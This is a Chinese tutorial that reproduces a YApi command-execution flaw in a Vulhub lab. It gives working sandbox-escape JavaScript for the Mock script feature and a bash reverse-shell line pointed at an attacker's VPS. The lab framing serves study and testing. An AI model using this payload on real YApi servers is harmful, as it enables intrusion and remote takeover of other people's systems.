一、漏洞描述
YApi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。
YAPI开放了注册功能,注册用户后新建项目并在接口的Mock功能里面添加了恶意脚本,最终执行了脚本里的命令
二、环境搭建
使用 Vulhub
搭建测试环境,项目地址 https://github.com/vulhub/vulhub
使用 docker
启动
docker-compose up -d
启动成功后访问 ip:3000
三、漏洞复现
首先注册一个账户,并登陆
新建项目
新建接口
高级 Mock
-> 脚本,填写恶意命令代码
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()
保存,点击预览,访问 Mock
地址
查看命令执行的结果
四、反弹shell
直接尝试 bash -i >& /dev/tcp/IP/port 0>&1
,发现报错无法正常反弹
尝试在 VPS
上使用 python
开启 http服务
新建 1.txt
文件内容为 bash -i >& /dev/tcp/IP/Port 0>&1
编辑网站 Mock
脚本
然后重新访问 Mock地址
文章来源:https://www.toymoban.com/news/detail-526215.html
成功反弹文章来源地址https://www.toymoban.com/news/detail-526215.html
到了这里,关于Yapi命令执行漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!